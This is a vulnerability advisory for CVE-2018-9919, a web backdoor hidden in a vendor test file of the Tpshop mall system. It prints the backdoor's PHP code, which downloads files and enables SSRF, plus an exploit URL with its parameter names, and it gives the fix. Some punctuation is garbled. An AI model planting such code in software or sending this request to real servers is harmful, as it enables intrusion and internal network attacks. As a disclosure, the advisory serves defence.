Tpshop 2.0.8 Arbitrary File Download / SSRF

`# Backdoor in Tpshop <= 2.0.8 (CVE-2018-9919)  
  
The Tpshop open source mall system is a multi-merchant mode mall system developed by Shenzhen Leopard Network Co., Ltd.This system is based on the Thinkphp development framework.   
  
## Product Download: http://www.tp-shop.cn/Index/Index/download.html  
  
## Vulnerability TypePSoWeb Backdoor  
  
## Attack Type : Web Backdoor  
  
## Vulnerability Description  
  
Tpshop has a backdoor code in the '/vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php' that can be used to download files to the other server and can also initiate attacks through SSRF vulnerabilities.  
  
The vulnerability code:  
  
/vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php(Line 486 to 499):  
$path = $_REQUEST['bddlj'];  
$fileUrl =$_REQUEST['down_url'];  
if(md5(md5($_REQUEST['jmmy'])) !== 'caae8ca617372b67363bd284e98430f2')  
return false;   
$path = strtolower($path);  
if(strstr($path,'php')) return false;   
$ch = curl_init($fileUrl);   
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_BINARYTRANSFER,1);  
$file = curl_exec ($ch);  
curl_close ($ch);   
$fp = fopen($path,'w');  
fwrite($fp, $file);  
fclose($fp);   
  
## Exploit  
  
The attacker can exploit this vulnerability to attack the server and increase its privileges,Example: download arbitrary filesPS!scan network portPS!information detection,attack internal network vulnerable!-s server.  
  
http://target//vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php?bddlj=save_filename&down_url=download_url&jmmy=decryptpass  
  
## Versions  
  
Tpshop <= 2.0.8  
  
## Impact  
  
Web Backdoor in Tp-shop 2.0.5-2.0.8 version allow remote attackers to download arbitrary filesPS!scan network portPS!information detection,attack internal network vulnerable!-s serverPS!may even cause a remote command execution via the url parameter!PS  
  
## Repairs  
  
Delete Web Backdoor code. (/vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php(Line 486 to 499))  
  
## Credit  
  
This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)  
  
## References  
  
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9919  
  
Best wishes!  
  
  
`